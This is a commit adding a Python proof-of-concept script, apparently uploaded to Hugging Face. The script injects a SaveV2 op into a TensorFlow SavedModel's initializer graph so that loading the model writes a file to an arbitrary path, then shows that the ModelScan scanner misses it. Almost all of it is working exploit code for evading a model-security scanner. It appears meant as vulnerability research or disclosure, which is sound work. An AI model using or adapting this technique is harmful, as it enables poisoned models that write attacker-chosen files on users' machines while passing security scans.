Upload poc_modelscan_bypass_savev2.py with huggingface_hub

poc_modelscan_bypass_savev2.py

@@ -0,0 +1,141 @@
+#!/usr/bin/env python3
+"""PoC: ModelScan bypass using SaveV2 instead of WriteFile"""
+import os, tempfile, shutil
+os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
+import tensorflow as tf
+from tensorflow.core.protobuf import saved_model_pb2
+from tensorflow.core.framework import types_pb2
+
+base_dir = tempfile.mkdtemp(prefix="tf_bypass_")
+print("=== ModelScan Bypass PoC: SaveV2 instead of WriteFile ===")
+
+# Create model with HashTable
+class M(tf.Module):
+    def __init__(self):
+        super().__init__()
+        self.table = tf.lookup.StaticHashTable(
+            tf.lookup.KeyValueTensorInitializer(
+                keys=["a"], values=[1],
+                key_dtype=tf.string, value_dtype=tf.int32
+            ), default_value=0
+        )
+    @tf.function(input_signature=[tf.TensorSpec(shape=[], dtype=tf.string)])
+    def serve(self, x):
+        return self.table.lookup(x)
+
+m = M()
+sm_dir = os.path.join(base_dir, "model")
+tf.saved_model.save(m, sm_dir)
+
+# Inject SaveV2 instead of WriteFile
+pb_path = os.path.join(sm_dir, "saved_model.pb")
+sm = saved_model_pb2.SavedModel()
+with open(pb_path, "rb") as f:
+    sm.ParseFromString(f.read())
+
+marker = "/tmp/tf_savev2_bypass"
+for mg in sm.meta_graphs:
+    for func in mg.graph_def.library.function:
+        if "initializer" in func.signature.name:
+            # prefix (path to write to)
+            pf = func.node_def.add()
+            pf.name = "sv2_prefix"
+            pf.op = "Const"
+            pf.attr["dtype"].type = types_pb2.DT_STRING
+            pf.attr["value"].tensor.dtype = types_pb2.DT_STRING
+            pf.attr["value"].tensor.string_val.append(marker.encode())
+            
+            # tensor_names
+            tn = func.node_def.add()
+            tn.name = "sv2_names"
+            tn.op = "Const"
+            tn.attr["dtype"].type = types_pb2.DT_STRING
+            tn.attr["value"].tensor.dtype = types_pb2.DT_STRING
+            tn.attr["value"].tensor.tensor_shape.dim.add().size = 1
+            tn.attr["value"].tensor.string_val.append(b"payload")
+            
+            # shape_and_slices
+            ss = func.node_def.add()
+            ss.name = "sv2_slices"
+            ss.op = "Const"
+            ss.attr["dtype"].type = types_pb2.DT_STRING
+            ss.attr["value"].tensor.dtype = types_pb2.DT_STRING
+            ss.attr["value"].tensor.tensor_shape.dim.add().size = 1
+            ss.attr["value"].tensor.string_val.append(b"")
+            
+            # data tensor
+            dt = func.node_def.add()
+            dt.name = "sv2_data"
+            dt.op = "Const"
+            dt.attr["dtype"].type = types_pb2.DT_STRING
+            dt.attr["value"].tensor.dtype = types_pb2.DT_STRING
+            dt.attr["value"].tensor.string_val.append(b"MODELSCAN_BYPASSED")
+            
+            # SaveV2 op
+            sv = func.node_def.add()
+            sv.name = "sv2_op"
+            sv.op = "SaveV2"
+            sv.input.append("sv2_prefix:output:0")
+            sv.input.append("sv2_names:output:0")
+            sv.input.append("sv2_slices:output:0")
+            sv.input.append("sv2_data:output:0")
+            sv.attr["dtypes"].list.type.append(types_pb2.DT_STRING)
+            
+            for node in func.node_def:
+                if node.op == "NoOp":
+                    node.input.append("^sv2_op")
+                    break
+            break
+
+with open(pb_path, "wb") as f:
+    f.write(sm.SerializeToString())
+
+# Step 1: Scan with ModelScan
+print("[1] ModelScan analysis...")
+from modelscan.modelscan import ModelScan
+scanner = ModelScan()
+results = scanner.scan(sm_dir)
+issues = results.get("issues", [])
+if issues:
+    print(f"  ModelScan found {len(issues)} issues:")
+    for issue in issues:
+        print(f"    {issue['operator']}: {issue['severity']}")
+else:
+    print("  ModelScan found NO issues!")
+
+# Step 2: Load model
+print()
+print("[2] Loading model...")
+import glob
+# Clean markers
+for f in glob.glob(marker + "*"):
+    os.remove(f)
+
+try:
+    loaded = tf.saved_model.load(sm_dir)
+    print("  Model loaded!")
+    
+    files = glob.glob(marker + "*")
+    if files:
+        print(f"  SaveV2 created files: {files}")
+        for f in files:
+            print(f"    {f}: {os.path.getsize(f)} bytes")
+        print("  -> File write via SaveV2, bypassing ModelScan!")
+    else:
+        print("  No files created")
+except Exception as e:
+    print(f"  Error: {str(e)[:300]}")
+    files = glob.glob(marker + "*")
+    if files:
+        print(f"  SaveV2 created files DESPITE error: {files}")
+
+# Cleanup
+shutil.rmtree(base_dir)
+for f in glob.glob(marker + "*"):
+    os.remove(f)
+
+print()
+print("=== Summary ===")
+print("SaveV2 writes checkpoint files to arbitrary paths.")
+print("ModelScan does NOT detect SaveV2 as dangerous.")
+print("This bypasses the ReadFile/WriteFile blocklist.")